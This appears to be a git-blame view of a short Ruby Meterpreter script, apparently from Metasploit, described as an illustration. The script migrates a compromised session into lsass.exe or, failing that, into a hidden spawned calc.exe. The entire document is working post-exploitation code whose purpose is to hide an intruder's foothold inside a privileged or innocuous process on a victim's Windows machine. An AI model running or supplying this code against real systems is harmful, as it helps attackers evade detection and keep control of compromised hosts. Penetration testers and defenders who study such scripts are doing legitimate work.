2006-09-19 03:15:25 +00:00
|
|
|
#
|
|
|
|
# Simple example script that migrates to a specific process by name.
|
|
|
|
# This is meant as an illustration.
|
|
|
|
#
|
|
|
|
|
|
|
|
# Get the target process name
|
2008-11-14 05:18:50 +00:00
|
|
|
target = args[0] || "lsass.exe"
|
2006-09-19 03:15:25 +00:00
|
|
|
|
|
|
|
print_status("Migrating to #{target}...")
|
|
|
|
|
|
|
|
server = client.sys.process.open
|
|
|
|
|
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
|
|
|
|
|
|
|
# Get the target process pid
|
|
|
|
target_pid = client.sys.process[target]
|
|
|
|
|
2009-03-29 08:14:47 +00:00
|
|
|
if not target_pid
|
|
|
|
print_error("Could not access the target process")
|
|
|
|
print_status("Spawning a calc.exe host process...")
|
2009-03-29 16:39:47 +00:00
|
|
|
calc = client.sys.process.execute('calc.exe', nil, {'Hidden' => true })
|
2009-03-29 08:14:47 +00:00
|
|
|
target_pid = calc.pid
|
2006-09-19 03:15:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Do the migration
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
|
|
|
|
server = client.sys.process.open
|
|
|
|
|
2008-11-04 06:57:26 +00:00
|
|
|
print_status("New server process: #{server.name} (#{server.pid})")
|